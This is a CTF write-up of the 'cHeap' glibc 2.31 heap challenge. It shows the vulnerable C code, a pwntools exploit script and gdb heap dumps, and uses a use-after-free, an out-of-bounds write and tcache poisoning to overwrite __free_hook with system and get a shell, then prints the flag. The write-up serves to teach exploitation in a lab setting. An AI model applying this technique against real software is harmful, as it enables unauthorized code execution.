cHeap

Description

cHeap a.k.a. babyheap

nc 34.146.101.4 30001

Attachment: cheap.tar.gz xpl.py

Team: Super Guesser

1. create
2. show
3. remove
Choice: 

cHeap was a very basic heap challenge based on libc-2.31, including tcache.

It allows us to create one note, show it and remove it.

void create() {
    unsigned size;
    printf("size: ");
    scanf("%u", &size);
    ptr = malloc(size);
    printf("data: ");
    readn(ptr, 0x100);       // Allow oob write
}

void show() {
    printf("%s\n", ptr);
}

void delete() {
    free(ptr);               // UAF
}

This implementation contains two major flaws. For one, the pointer to the note doesn’t get zeroed out after free, allowing us to show it again for an easy leak. And the second one is, that in create we’ll always be able to write 0x100 bytes into our note independent from its real size, allowing us to overwrite follow up chunk data.

Since the size for the creation isn’t checked or restricted, this opens up the way for a lot of different solutions, depending on the leaks you can get.

I went for just leak libc directly and overwre __free_hook, so all we need is a libc leak, then we can just overwrite the FD pointer of a freed chunk with it and reallocate it.

Only tricky part for this is, that in libc-2.31 tcache will check, how many chunks are currently freed and only serve the chunk from tcache, if the fastbin count is > 0. Since we can only allocate one chunk at a time to free it, we’ll always have only one freed chunk of a specific size (but surely, there’s a way to overcome this).

Let’s start with some heap grooming to achieve a libc leak. For this, I created multiple chunks from different sizes to fill up the heap, overwrote the size of a freed chunk with a fake size (with the oob write on creating a note), so it cannot be served by tcache and put a fake next_size at the bottom of the heap to avoid any errors on freeing this chunk later on.

#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "34.146.101.4"
PORT = 30001
PROCESS = "./cheap"


def create(size, data):
    r.sendline("1")
    r.sendlineafter(": ", str(size))
    r.sendlineafter(": ", data)
    r.recvuntil("Choice: ")


def free():
    r.sendline("3")
    r.recvuntil("Choice: ")


def show():
    r.sendline("2")
    LEAK = r.recvuntil("1. create", drop=True)
    r.recvuntil("Choice: ")
    return LEAK


def exploit(r):
    r.recvuntil("Choice: ")

    # fill up heap with different sized chunks
    create(0x20-8, "A")
    free()
    create(0x30-8, "A")
    free()
    create(0x40-8, "A")
    free()
    create(0x50-8, "B")
    free()
    create(0x300-8, "A")
    free()
    create(0x100-8, "A")
    free()

    # put fake next_size in the last chunk
    payload = "A"*(232-0xd0) + p64(0x3e1)
    create(0x400-8, payload)
    free()

    # recreate the 0x50 chunk and overwrite the size of the freed 0x300 chunk
    payload = "A"*0x48 + p64(0x421)
    create(0x50-8, payload)
    free()

    # # reallocate the 0x300 chunk and free it
    create(0x300-8, "A")
    free()

    r.interactive()

    return


if __name__ == "__main__":
    # e = ELF("./cheap")
    libc = ELF("./libc.so.6")
    if len(sys.argv) > 1:
        LOCAL = False
        r = remote(HOST, PORT)
    else:
        LOCAL = True
        r = process("./cheap")
        print(util.proc.pidof(r))
        pause()

    exploit(r)

So, before creating the last 0x50 note to overwrite the size, the heap will look like this.

0x5555555592d0:	0x0000000000000000	0x0000000000000000
0x5555555592e0:	0x0000000000000000	0x0000000000000041
0x5555555592f0:	0x0000000000000000	0x0000555555559010
0x555555559300:	0x0000000000000000	0x0000000000000000
0x555555559310:	0x0000000000000000	0x0000000000000000
0x555555559320:	0x0000000000000000	0x0000000000000051
0x555555559330:	0x0000000000000000	0x0000555555559010  <= freed 0x50 chunk
0x555555559340:	0x0000000000000000	0x0000000000000000
0x555555559350:	0x0000000000000000	0x0000000000000000
0x555555559360:	0x0000000000000000	0x0000000000000000
0x555555559370:	0x0000000000000000	0x0000000000000301
0x555555559380:	0x0000000000000000	0x0000555555559010  <= freed 0x300 chunk
0x555555559390:	0x0000000000000000	0x0000000000000000
0x5555555593a0:	0x0000000000000000	0x0000000000000000
0x5555555593b0:	0x0000000000000000	0x0000000000000000

After creating the 0x50 note (for overwriting 0x300 note size)

0x5555555592d0:	0x0000000000000000	0x0000000000000000
0x5555555592e0:	0x0000000000000000	0x0000000000000041
0x5555555592f0:	0x0000000000000000	0x0000555555559010
0x555555559300:	0x0000000000000000	0x0000000000000000
0x555555559310:	0x0000000000000000	0x0000000000000000
0x555555559320:	0x0000000000000000	0x0000000000000051
0x555555559330:	0x0000000000000000	0x0000555555559010  <= freed 0x50 chunk
0x555555559340:	0x4141414141414141	0x4141414141414141
0x555555559350:	0x4141414141414141	0x4141414141414141
0x555555559360:	0x4141414141414141	0x4141414141414141
0x555555559370:	0x4141414141414141	0x0000000000000421
0x555555559380:	0x0000000000000000	0x0000555555559010  <= freed 0x300 chunk
0x555555559390:	0x0000000000000000	0x0000000000000000
0x5555555593a0:	0x0000000000000000	0x0000000000000000
0x5555555593b0:	0x0000000000000000	0x0000000000000000

Since the chunk at 0x555555559380 is still in the 0x300 tcache fastbin, we can reallocate it (tcache will NOT update the size of it on allocation) and then free it, to let it be handled as an unsorted bin.

For this, we just have to make sure, that it has a valid next_size

gef➤  x/10gx 0x555555559370
0x555555559370:	0x4141414141414141	0x0000000000000421
0x555555559380:	0x0000000000000000	0x0000555555559010  <= freed 0x300 chunk
0x555555559390:	0x0000000000000000	0x0000000000000000
0x5555555593a0:	0x0000000000000000	0x0000000000000000
0x5555555593b0:	0x0000000000000000	0x0000000000000000
gef➤  x/10gx 0x555555559370+0x420
0x555555559790:	0x4141414141414141	0x00000000000003e1  <= next size
0x5555555597a0:	0x0000000000000000	0x0000000000000000
0x5555555597b0:	0x0000000000000000	0x0000000000000000
0x5555555597c0:	0x0000000000000000	0x0000000000000000
0x5555555597d0:	0x0000000000000000	0x0000000000000000
gef➤  x/10gx 0x555555559370+0x420+0x3e0
0x555555559b70:	0x0000000000000000	0x0000000000020491  <= top
0x555555559b80:	0x0000000000000000	0x0000000000000000
0x555555559b90:	0x0000000000000000	0x0000000000000000
0x555555559ba0:	0x0000000000000000	0x0000000000000000
0x555555559bb0:	0x0000000000000000	0x0000000000000000

With these constraints fulfilled, we can now reallocate a 0x300 chunk and free it

0x5555555592d0:	0x0000000000000000	0x0000000000000000
0x5555555592e0:	0x0000000000000000	0x0000000000000041
0x5555555592f0:	0x0000000000000000	0x0000555555559010
0x555555559300:	0x0000000000000000	0x0000000000000000
0x555555559310:	0x0000000000000000	0x0000000000000000
0x555555559320:	0x0000000000000000	0x0000000000000051
0x555555559330:	0x0000000000000000	0x0000555555559010
0x555555559340:	0x4141414141414141	0x4141414141414141
0x555555559350:	0x4141414141414141	0x4141414141414141
0x555555559360:	0x4141414141414141	0x4141414141414141
0x555555559370:	0x4141414141414141	0x0000000000000421
0x555555559380:	0x00007ffff7fb8be0	0x00007ffff7fb8be0  <= realllocated/freed current note
0x555555559390:	0x0000000000000000	0x0000000000000000
0x5555555593a0:	0x0000000000000000	0x0000000000000000
0x5555555593b0:	0x0000000000000000	0x0000000000000000

So, now we have the current UAF note pointing to the freed unsorted bin chunk, and can just leak a main_arena pointer from it via show

LEAK = u64(show()[:-1].ljust(8, "\x00"))
libc.address = LEAK - 96 - 0x10 - libc.symbols["__malloc_hook"]

log.info("LEAK     : %s" % hex(LEAK))
log.info("LIBC     : %s" % hex(libc.address))
[*] '/media/sf_ctf/tsg/cheap/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './cheap': pid 20677
[20677]
[*] Paused (press any to continue)
[*] LEAK     : 0x7ffff7fb8be0
[*] LIBC     : 0x7ffff7dcd000
[*] Switching to interactive mode

Knowing libc base address, we can now go on with overwriting __free_hook, but as said in the beginning, we’re only allowed to create and free one note at a time, but we need at least two freed chunks in a tcache fastbin to overwrite the FD pointer of a freed chunk and reallocating it.

But since we have the oob write, we can just corrupt the sizes of two existing chunks (similar to what we did for leaking libc) and free them, so they get freed into the same tcache fastbin.

# create two fake 0x50 chunks
payload = "A"*0x10
payload += p64(0x0) + p64(0x51)
payload += "B"*0x20
payload += p64(0x0) + p64(0x51)
payload += "\n"

# allocate 0x20 chunk to overwrite follow up chunk sizes
create(0x20-8, payload)
free()
0x555555559290:	0x0000000000000000	0x0000000000000021
0x5555555592a0:	0x0000000000000000	0x0000555555559010 <= 0x20 chunk
0x5555555592b0:	0x0000000000000000	0x0000000000000051
0x5555555592c0:	0x4242424242424242	0x4242424242424242 <= freed 0x30 chunk (fake 0x50 size)
0x5555555592d0:	0x4242424242424242	0x4242424242424242
0x5555555592e0:	0x0000000000000000	0x0000000000000051
0x5555555592f0:	0x0000000000000000	0x0000555555559010 <= freed 0x40 chunk (fake 0x50 size)
0x555555559300:	0x0000000000000000	0x0000000000000000
0x555555559310:	0x0000000000000000	0x0000000000000000

Again, we can now allocate a 0x40 chunk, free it (will be put into 0x50 tcache fastbin) and then allocate a 0x30 chunk and free it (which will also be put into 0x50 tcache fastbin).

0x555555559290:	0x0000000000000000	0x0000000000000021
0x5555555592a0:	0x0000000000000000	0x0000555555559010 <= freed 0x20 chunk
0x5555555592b0:	0x0000000000000000	0x0000000000000051
0x5555555592c0:	0x00005555555592f0	0x0000555555559010 <= freed 0x50 chunk
0x5555555592d0:	0x4242424242424242	0x4242424242424242
0x5555555592e0:	0x0000000000000000	0x0000000000000051
0x5555555592f0:	0x0000555555559330	0x0000555555559010 <= freed 0x50 chunk
0x555555559300:	0x0000000000000000	0x0000000000000000

Using the oob write again on creating a 0x20 chunk, we can now overwrite the FD of the next 0x50 chunk, reallocate it and overwrite __free_hook

# overwrite FD of free 0x50 chunk
payload = "A"*0x10
payload += p64(0x0) + p64(0x51)
payload += p64(libc.symbols["__free_hook"]-0x10)
payload += "\n"

create(0x20-8, payload)
free()

# allocate chunk to pull free_hook address into tcache arena
create(0x50-8, "A\n")

# overwrite __free_hook-0x10 with /bin/sh and the hook itself with system
payload = "/bin/sh\x00"+p64(0)
payload += p64(libc.symbols["system"])
payload += "\n"
create(0x50-8, payload)
After overwriting 0x50 FD

0x555555559280:	0x0000555555559780	0x0000000000000000
0x555555559290:	0x0000000000000000	0x0000000000000021
0x5555555592a0:	0x0000000000000000	0x0000555555559010
0x5555555592b0:	0x0000000000000000	0x0000000000000051
0x5555555592c0:	0x00007ffff7fbbb18	0x0000555555559000
0x5555555592d0:	0x4242424242424242	0x4242424242424242

tcache arena after allocating first 0x50 chunk

0x555555559000:	0x0000000000000000	0x0000000000000291
0x555555559010:	0x0002000000000001	0x0000000000000000
0x555555559020:	0x0000000000000000	0x0000000100000000
0x555555559030:	0x0000000000000000	0x0000000000000000
0x555555559040:	0x0000000000000000	0x0000000000000000
0x555555559050:	0x0000000000000000	0x0000000000000000
0x555555559060:	0x0000000000000000	0x0000000000000000
0x555555559070:	0x0000000000000000	0x0000000000000000
0x555555559080:	0x0000000000000000	0x0000000100000000
0x555555559090:	0x00005555555592a0	0x4242424242424242
0x5555555590a0:	0x0000000000000000	0x00007ffff7fbbb18  <= 0x50 pointing to __free_hook - 0x10
0x5555555590b0:	0x0000000000000000	0x0000000000000000

after allocating second 0x50 chunk

0x7ffff7fbbb18 <__attr_list_lock>:      0x0068732f6e69622f	0x0000000000000000  <= /bin/sh string
0x7ffff7fbbb28 <__free_hook>:           0x00007ffff7e22410	0x0000000000000000  <= system
0x7ffff7fbbb38 <next_to_use.12460>:     0x0000000000000000	0x0000000000000000
0x7ffff7fbbb48 <using_malloc_checking>: 0x0000000000000000	0x0000000000000000

So, our current note now points to /bin/sh string and __free_hook is overwritten with system.

Freeing the current note will now trigger system("/bin/sh") giving us our shell.

[*] '/media/sf_ctf/tsg/cheap_work/cheap/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 34.146.101.4 on port 30001: Done
[*] LEAK     : 0x7f1449acabe0
[*] LIBC     : 0x7f14498df000
[*] Switching to interactive mode
$ ls
cheap
flag
libc.so.6
start.sh
$ cat flag
TSGCTF{Heap_overflow_is_easy_and_nice_yeyey}